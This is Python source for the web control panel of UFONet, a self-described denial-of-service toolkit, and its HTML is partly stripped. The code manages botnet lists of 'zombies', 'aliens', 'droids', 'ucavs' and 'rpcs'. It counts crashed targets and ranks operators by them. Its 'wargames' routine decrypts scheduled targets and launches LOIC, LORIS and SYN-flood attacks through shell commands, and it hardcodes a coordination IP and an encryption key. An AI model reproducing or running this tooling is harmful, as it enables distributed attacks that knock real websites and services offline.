#!/usr/bin/env python # -*- coding: utf-8 -*-" """ UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net) You should have received a copy of the GNU General Public License along with UFONet; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import socket, threading, re, base64, os, time, random import webbrowser, subprocess, urllib, urllib2, json, sys from time import gmtime, strftime, strptime from Crypto.Cipher import AES from hashlib import sha1, sha256 from urlparse import urlparse from base64 import b64decode from decimal import Decimal from options import UFONetOptions from main import UFONet from abductor import Abductor host = "0.0.0.0" port = 9999 default_blackhole = '176.28.23.46' # default blackhole blackhole_sep = "|" # blackhole stream separator board_msg_sep = "#!#" # board stream separator grid_msg_sep = "#?#" # grid stream seperator wargames_msg_sep = "#-#" # wargames stream seperator crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key class ClientThread(threading.Thread): def __init__(self, ip, port, socket): threading.Thread.__init__(self) self.ip = ip self.port = port self.socket = socket self.pages = Pages() def run(self): req = self.socket.recv(2048) res = self.pages.get(req) if res is None: self.socket.close() return out = "HTTP/1.0 %s\r\n" % res["code"] out += "Content-Type: %s\r\n\r\n" % res["ctype"] out += "%s" % res["html"] self.socket.send(out) self.socket.close() if "run" in res and len(res["run"]): subprocess.Popen(res["run"], shell=True) class Pages(): def file_len(self, fn): with open(fn) as f: for i, l in enumerate(f): pass return i + 1 def html_army_map(self,target=None): target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n" if target is not None: target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n" return self.pages["/header"] + """
""" + self.pages["/footer"] def html_request_submit(self): return self.pages["/header"]+"""
settings updated"""+self.pages["/footer"] def html_requests(self): # read requests configuration file (json) try: with open(self.mothership_webcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_webcfg_file) == True: print '\n[Error] - Cannot open: "core/json/webcfg.json"...\n' sys.exit(2) else: # generate default requests configuration file print '\n[Info] - Cannot found: "core/json/webcfg.json". Generating...\n' with open(self.mothership_webcfg_file, "w") as f: json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4) # set values of requests configuration from json file to html form with open(self.mothership_webcfg_file) as data_file: data = json.load(data_file) self.agents = [] # generating available user-agents f = open(self.agents_file) agents = f.readlines() f.close() for agent in agents: self.agents.append(agent) self.user_agent = random.choice(self.agents).strip() self.rproxy = data["rproxy"] if self.rproxy == "NONE": self.rproxy = "" self.ruseragent = data["ruseragent"] if self.ruseragent == "RANDOM": self.ruseragent = self.user_agent # random user-agent self.rreferer = data["rreferer"] if self.rreferer == "RANDOM": self.rreferer = self.referer # random referer self.rhost = data["rhost"] if self.rhost == "NONE": self.rhost = "" self.rxforw = data["rxforw"] if self.rxforw == "on": self.rxforw_check = 'checked' else: self.rxforw_check = '' self.rxclient = data["rxclient"] if self.rxclient == "on": self.rxclient_check = 'checked' else: self.rxclient_check = '' self.rtimeout = data["rtimeout"] self.rretries = data["rretries"] self.rdelay = data["rdelay"] self.threads = data["threads"] self.rssl = data["rssl"] if self.rssl == "on": self.rssl_check = 'checked' else: self.rssl_check = '' return self.pages["/header"] + """
 Configure requests:
Use proxy server:
Use another HTTP User-Agent header:
Use another HTTP Referer header:
Use another HTTP Host header:
Set your HTTP X-Forwarded-For with random IP values:
Set your HTTP X-Client-IP with random IP values:
Select your timeout:
Retries when the connection timeouts:
Delay in seconds between each HTTP request:
Number of threads:
Force usage of SSL/HTTPS requests:

""" + self.pages["/footer"] def html_board_profile_submit(self): return self.pages["/header"]+"""
Board profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_grid_profile_submit(self): return self.pages["/header"]+"""
Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"] def profile_crew(self, icon): files = os.listdir("core/images/crew/") if icon == "NONE": icon = "link1" html_stream = "" html_stream += "" for f in files: id = str(f.replace(".png", "")) value = str(f.replace(".png", "")) if icon == value: checked = " CHECKED" else: checked = "" html_stream += "" html_stream += "
" return html_stream def html_board_profile(self): try: with open(self.mothership_boardcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_boardcfg_file) == True: print '[Error] - Cannot open: "core/json/boardcfg.json"...\n' sys.exit(2) else: print '[Info] - Cannot found: "core/json/boardcfg.json". Generating...\n' with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4) f.close() with open(self.mothership_boardcfg_file) as data_file: data = json.load(data_file) self.profile_token = str(random.getrandbits(128)) # generating random token hash self.profile_icon = data["profile_icon"] self.profile_nick = data["profile_nick"] self.profile_nick.encode('utf-8') return self.pages["/header"] + """
 Configure profile:
OPERATOR/LINK: """+self.profile_crew(self.profile_icon)+"""
NICKNAME:

""" + self.pages["/footer"] def html_grid_profile(self): try: with open(self.mothership_gridcfg_file) as data_file: data = json.load(data_file) except: if os.path.exists(self.mothership_gridcfg_file) == True: print '[Error] - Cannot open: "core/json/gridcfg.json"...\n' sys.exit(2) else: print '[Info] - Cannot found: "core/json/gridcfg.json". Generating...\n' with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4) f.close() with open(self.mothership_gridcfg_file) as data_file: data = json.load(data_file) self.grid_token = str(random.getrandbits(128)) # generating random token hash self.grid_contact = data["grid_contact"] self.grid_contact.encode('utf-8') self.grid_nick = data["grid_nick"] self.grid_nick.encode('utf-8') return self.pages["/header"] + """
 Configure grid profile:
NICKNAME:
EMAIL/URL (CONTACT):

""" + self.pages["/footer"] def html_board_remove(self): try: with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4) except: return return self.pages["/header"]+"""
Board profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_grid_remove(self): try: with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4) except: return return self.pages["/header"]+"""
Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_stats(self): return self.pages["/header"] + """

STATS device: ON

General:
Flying (times):""" + str(self.aflying) + """
Botnet:
Total Cargo (now):"""+ self.total_botnet +"""
Scanner (new bots via dorking): """ + str(self.ascanner) + """
Transferred (new bots via blackholes): """ + str(self.atransferred) + """
Max. Chargo (always): """ + str(self.amax_chargo) + """
Missions:
Created (launched):""" + str(self.amissions) + """
Attacks (completed):""" + str(self.acompleted) + """
LOIC (used):""" + str(self.aloic) + """
LORIS (used):""" + str(self.aloris) + """
UFOSYN (used):""" + str(self.aufosyn) + """
Targets (crashed):""" + str(self.tcrashed) + """
Crashing (T*100/A=C%):""" + str(round(self.mothership_acc, 2)) + """%


""" + self.pages["/footer"] def hmac_sha1(self, key, msg): if len(key) > 20: key = sha1(key).digest() key += chr(0) * (20 - len(key)) o_key_pad = key.translate(self.trans_5C) i_key_pad = key.translate(self.trans_36) return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest() def derive_keys(self, key): h = sha256() h.update(key) h.update('cipher') cipher_key = h.digest() h = sha256() h.update(key) h.update('mac') mac_key = h.digest() return (cipher_key, mac_key) def decrypt(self, key, text): KEY_SIZE = 32 BLOCK_SIZE = 16 MAC_SIZE = 20 mode = AES.MODE_CFB try: iv_ciphertext_mac = b64decode(text) except TypeError: return None iv = iv_ciphertext_mac[:BLOCK_SIZE] ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE] mac = iv_ciphertext_mac[-MAC_SIZE:] (cipher_key, mac_key) = self.derive_keys(key) expected_mac = self.hmac_sha1(mac_key, iv + ciphertext) if mac != expected_mac: return None aes = AES.new(cipher_key, mode, iv) self.decryptedtext = aes.decrypt(ciphertext) def encrypt(self, key, text): from server.crypter import Cipher from base64 import b64encode, b64decode key = b64encode(key) c = Cipher(key, text) msg = c.encrypt() c.set_text(msg) self.encryptedtext = str(msg) def html_news(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.news_datetime + """

"""+self.news_text+"""


""" + self.pages["/footer"] def html_missions(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.missions_datetime + """

"""+self.missions_text+"""


""" + self.pages["/footer"] def html_board(self): self.board_welcome = "" # board hardcoded warning (hehe) self.board_topic = "" self.board_send_msg = "" if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read(): device_state = "OFF" device = "Board device: OFF
" else: device_state = "ON" self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text))) boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg data = json.load(boardcfg_json_file) boardcfg_json_file.close() profile_token = data["profile_token"] profile_icon = data["profile_icon"] profile_nick = data["profile_nick"] self.profile_nick.encode('utf-8') device = "OPERATOR/LINK: ON
-NICKNAME: "+self.profile_nick.encode('utf-8')+"
-ID: "+str(profile_token)+"
" if device_state == "OFF": board_filter = "" else: board_filter = "
/ALL
/GENERAL/#OPSEC
/FAQ/BUGS/MEDIA
" if device_state == "OFF": sync_panel = "" else: sync_panel = "
Blackhole/IP:


" if device_state == "OFF": board_panel = "" else: with open(self.board_file) as f: for line in f: line = line.strip() self.board_warning += "\n" + " " + line + " " + "\n" f.close() self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time board_panel = "
READ
WRITE
KEY:
"+board_filter+"
Try decryption!
"+self.board_welcome+"



CRYPTO-BOARD: (Last Update: "+str(l)+")

"+self.moderator_text+"


" if device_state == "OFF": remove_profile = "" else: remove_profile = '| | ' return self.pages["/header"] + """
"""+device+"""
"""+remove_profile+"""


"""+board_panel+""" """ + self.pages["/footer"] def generate_grid(self): with open(self.grid_file) as f: for line in f: line = line.strip() f.close() mothership_members = 0 # mothership_members stats bonus grid_table = "
MEMBERS STATS:

" for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, contact, ID if grid_msg_sep in m: version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1) m = m.split(grid_msg_sep) grid_nickname = m[0][0:12] grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12) mothership_members = mothership_members + 1 grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol) grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation) grid_totalchargo = m[2][0:4] # total chargo grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation) grid_dorking = m[3][0:4] # dorking grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation) grid_transferred = m[4][0:4] # transferred grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation) grid_maxchargo = m[5][0:4] # maxchargo grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation) grid_missions = m[6][0:4] # missions grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation) grid_attacks = m[7][0:4] # attacks grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation) grid_loic = m[8][0:4] # loic grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation) if version == 12: # v1.1 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[12] # id (plain id) except: grid_id = "invalid!" elif version == 11: # v1.0 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[11] # id (plain id) except: grid_id = "invalid!" elif version == 10: # v0.9 grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[10] # id (plain id) except: grid_id = "invalid!" else: # no valid version pass grid_table += "" else: # not valid stream data pass grid_table += "
NICKNAME:RANKING:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:CONTACT:
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_contact)+"
" if mothership_members == 0: mothership_members = "¿?" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time mother_grid = "

MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"****¿?***¿?**¿?*¿?
MISSIONS:¿?ATTACKS:¿?LOIC:¿?LORIS:¿?UFOSYN:¿?
CHARGO (ACTIVE!):¿?DORKING:¿?MAX.CHARGO:¿?



" grid_table = mother_grid + grid_table + "
" return grid_table def html_grid(self): if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read(): device_state = "OFF" device = "Grid device: OFF
" else: device_state = "ON" gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg data = json.load(gridcfg_json_file) gridcfg_json_file.close() grid_token = data["grid_token"] grid_contact = data["grid_contact"] grid_contact.encode('utf-8') grid_nick = data["grid_nick"] grid_nick.encode('utf-8') if self.ranking == "Rookie": # Rookie your_ranking = "* (Rookie)" elif self.ranking == "Mercenary": # Mercenary your_ranking = "** (Mercenary)" elif self.ranking == "Bandit": # Bandit your_ranking = "*** (Bandit)" elif self.ranking == "UFOmmander!": # UFOmmander! your_ranking = "**** (UFOmmander!)" else: your_ranking = "* (no0b!)" # no0b hacking attempt! ;-) device = "
-CONTACT: "+grid_contact.encode('utf-8')+"
-NICKNAME: "+grid_nick.encode('utf-8')+"
-RANKING: "+str(your_ranking)+"
-ID: "+str(grid_token)+"
" if device_state == "OFF": grid_panel = "" else: grid_table = self.generate_grid() grid_panel = grid_table + "

" if device_state == "OFF": dec_panel = "" else: dec_panel = "
Your key:
Try decryption!
" if device_state == "OFF": sync_panel = "" else: sync_panel = "
Blackhole/IP:

" if device_state == "OFF": transfer_panel = "" else: transfer_panel = "
Blackhole/IP:
Key (encryption):

" if device_state == "OFF": remove_grid = "" else: remove_grid = '| | | | | ' return self.pages["/header"] + """
"""+device+"""
"""+remove_grid+"""

"""+grid_panel+""" """ + self.pages["/footer"] def generate_wargames(self): with open(self.wargames_file) as f: for line in f: line = line.strip() f.close() wargames_table = "" for m in self.list_wargames: # list = creation, target, estimated if wargames_msg_sep in m: m = m.split(wargames_msg_sep) wargame_creation = m[0][0:12] # creation date wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation) wargame_target = m[1][0:12] # target (obfuscation) wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation) wargame_estimated = m[2][0:12] # estimated date wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation) wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!") wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation) wargame_status = wargame_state # status (obfuscated like state) wargames_table += "" wargames_table += "
CREATION:TARGET:DATE:ETA:STATUS:
"+str(wargame_creation)+""+str(wargame_target)+""+str(wargame_estimated)+""+str(wargame_state)+""+str(wargame_status)+"
" mother_wargame = "
" wargames_table = mother_wargame + wargames_table + "
" return wargames_table def html_wargames(self): l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) wargames_table = self.generate_wargames() return self.pages["/header"] + """
This feature will allow you to propose/join some real 'wargames'.


Blackhole/IP:
Try decryption!


Your proposal:
Date time (UTC): (ex: """+str(now)+""")
Blackhole/IP:


WARGAMES: (Last Update: """+str(l)+""")

"""+wargames_table+"""


"""+ self.pages["/footer"] def html_abduction(self): return self.pages["/header"] + """
  This feature will provide you information about target's web server. 
  You can use this before to attack to be more effective.

  


* Set your target:


""" + self.pages["/footer"] def html_blackholes(self): return self.pages["/header"] + """
Blackhole/IP:

Your key:
Try decryption!


Last update: """+ self.blackholes_datetime + """

"""+self.blackholes_text+"""
""" + self.pages["/footer"] def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply) sep = "#-#" for job in wargames_engage_list: job_t2 = job.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = job.rsplit(sep, 1)[1] self.decrypt(self.crypto_key, job_estimated) if self.decryptedtext: job_estimated_dec = self.decryptedtext else: job_estimated_dec = "" self.decryptedtext = "" now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S") if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<') self.decrypt(self.crypto_key, job_target) if self.decryptedtext: job_target_dec = self.decryptedtext else: job_target_dec = "" self.decryptedtext = "" if job_target_dec is not "": job_target_dec = "http://" + job_target_dec # set target prefix to http:// try: # read global army supply (json) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) except: print '[Info] - Cannot found: "core/json/supplycfg.json". Generating...' with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] self.supply_loic = data["loic"] self.supply_loris = data["loris"] self.supply_ufosyn = data["ufosyn"] job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec) print "[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec) if int(self.supply_ufosyn) > 0: # ufosyn: root required! if int(self.supply_loris) > 0: if int(self.supply_loic) > 0: runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loic "+str(self.supply_loic)+" --loris "+str(self.supply_loris)+" --ufosyn "+str(self.supply_ufosyn)+ " " else: runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loris "+str(self.supply_loris)+" --ufosyn "+str(self.supply_ufosyn)+ " " else: runcmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --ufosyn "+str(self.supply_ufosyn)+ " " else: if int(self.supply_loris) > 0: if int(self.supply_loic) > 0: runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loic "+str(self.supply_loic)+" --loris "+str(self.supply_loris)+ " " else: runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" --loris "+str(self.supply_loris)+ " " else: runcmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+ " " runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!) print "[Info] [Wargames] Running command:", runcmd, "\n" os.system(runcmd) # launch it! if "!!!" in job: # remove it from queue (unjob) f = open(self.wargames_file, "r") ls = f.readlines() f.close() f = open(self.wargames_file, "w") for l in ls: if str(l) != str(job): f.write(l) else: job = re.sub('[!!!]', '', job) f.write(job) f.close() def __init__(self): self.crypto_key = crypto_key # set default symmetric crypto key self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names self.board_file = 'server/board.txt' # set source path to retrieve board warning message self.grid_file = 'server/grid.txt' # set source path to retrieve grid self.board_warning = "" # set initial (str) board warning message self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies' self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens' self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids' self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs' self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs' self.release_date_file = "docs/release.date" # set source path to retrieve release date self.news = "server/news.txt" # set source path to retrieve server news self.missions = "server/missions.txt" # set source path to retrieve server missions self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg self.ranking = "Rookie Star" # set starting rank self.decryptedtext = "" # set buffer for decryption self.encryptedtext = "" # set buffer for encryption self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat) self.blackhole = default_blackhole # set default blackhole self.blackholes_status = "Not connected!" # set default status for blackholes self.blackholes_status_color = "red" # set default status color for blackholes self.referer = 'http://127.0.0.1/' self.mothershipname = "core/txt/shipname.txt" f = open(self.mothershipname) # extract ship name self.mothership_id = f.read() self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-) f.close() f = open(self.release_date_file) # extract release creation datetime self.release_date = f.read() # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1 self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)]) self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)]) f.close() f = open(self.blackholes) # double extract blackholes (nodes.dat) self.blackholes_text = f.read() f.close() f = open(self.blackholes) self.blackholes_block = f.readlines() f.close() self.list_blackholes = [] for b in self.blackholes_block: self.list_blackholes.append(b) self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime if self.blackholes_datetime == self.release_date_file: # never connected to feeds self.blackholes_status_color = "red" # set status color for blackholes to 'red' else: self.blackholes_status_color = "green" # set status color for blackholes to 'green' f = open(self.news) # double extract news self.news_text = f.read() f.close() f = open(self.news) self.news_block = f.readlines() f.close() self.list_news = [] for n in self.news_block: self.list_news.append(n) self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime if self.news_datetime == self.release_date_file: # never connected to feeds self.news_status_color = "red" # set status color for news to 'red' else: self.news_status_color = "green" # set status color for news to 'green' f = open(self.board_file) # double extract board self.moderator_text = f.read() f.close() f = open(self.board_file) self.moderator_block = f.readlines() f.close() self.list_moderator = [] for n in self.moderator_block: self.list_moderator.append(n) f = open(self.grid_file) # double grid board self.grid_text = f.read() f.close() f = open(self.grid_file) self.grid_block = f.readlines() f.close() self.list_grid = [] for n in self.grid_block: self.list_grid.append(n) f = open(self.wargames_file) # double wargames board self.wargames_text = f.read() f.close() f = open(self.wargames_file) self.wargames_block = f.readlines() f.close() self.list_wargames = [] for n in self.wargames_block: self.list_wargames.append(n) f = open(self.missions) # double extract missions self.missions_text = f.read() f.close() f = open(self.missions) self.missions_block = f.readlines() f.close() self.list_missions = [] for m in self.missions_block: self.list_missions.append(m) self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime if self.missions_datetime == self.release_date_file: # never connected to feeds self.missions_status_color = "red" # set status color for missions to 'red' else: self.missions_status_color = "green" # set status color for missions to 'green' stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats data = json.load(stats_json_file) stats_json_file.close() self.abductor = Abductor(self) # call abductor for data size conversor self.aflying = data["flying"] self.ascanner = data["scanner"] self.atransferred = data["transferred"] self.amax_chargo = data["max_chargo"] self.amissions = data["missions"] self.acompleted = data["completed"] self.aloic = data["loic"] self.aloris = data["loris"] self.aufosyn = data["ufosyn"] self.tcrashed = data["crashed"] if int(self.acompleted) > 0: # check for attacks completed self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed else: self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play" if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences self.ranking = "Rookie" elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks self.ranking = "Mercenary" elif int(self.tcrashed) > 1 and int(self.tcrashed) < 5: # second ranking step with almost 1 crashed self.ranking = "Bandit" elif int(self.tcrashed) > 5: # third ranking value is only for real "crashers" ;-) self.ranking = "UFOmmander!" f = open(self.zombies_file) self.zombies = f.readlines() self.zombies = [zombie.replace('\n', '') for zombie in self.zombies] self.list_zombies = [] for zombie in self.zombies: t = urlparse(zombie) name_zombie = t.netloc self.list_zombies.append(name_zombie) self.num_zombies = str(len(self.zombies)) f.close() f = open(self.aliens_file) self.aliens = f.readlines() self.aliens = [alien.replace('\n', '') for alien in self.aliens] self.list_aliens = [] for alien in self.aliens: t = urlparse(alien) name_alien = t.netloc self.list_aliens.append(name_alien) self.num_aliens = str(len(self.aliens)) f.close() f = open(self.droids_file) self.droids = f.readlines() self.droids = [droid.replace('\n', '') for droid in self.droids] self.list_droids = [] for droid in self.droids: t = urlparse(droid) name_droid = t.netloc self.list_droids.append(name_droid) self.num_droids = str(len(self.droids)) f.close() f = open(self.ucavs_file) self.ucavs = f.readlines() self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs] self.list_ucavs = [] for ucav in self.ucavs: t = urlparse(ucav) name_ucav = t.netloc self.list_ucavs.append(name_ucav) self.num_ucavs = str(len(self.ucavs)) f.close() f = open(self.rpcs_file) self.rpcs = f.readlines() self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs] self.list_rpcs = [] for rpc in self.rpcs: t = urlparse(rpc) name_rpc = t.netloc self.list_rpcs.append(name_rpc) self.num_rpcs = str(len(self.rpcs)) f.close() self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs)) f = open(self.wargames_file, "r") ls = f.readlines() f.close() self.supply_wargames = 0 self.wargames_engage_list = [] for l in ls: if "!!!" in l: self.wargames_engage_list.append(l) self.supply_wargames = self.supply_wargames + 1 if self.supply_wargames > 0: if self.supply_wargames == 1: c_supply = "wargame" else: c_supply = "wargames" self.current_tasks = '
-----------------------------------\n\n+ Jobs: ' + str(self.supply_wargames) + ' '+c_supply+'' self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine else: self.current_tasks = "" self.options = UFONetOptions() self.pages = {} self.pages["/header"] = """ UFONet - Denial of Service Toolkit """ self.pages["/footer"] = """
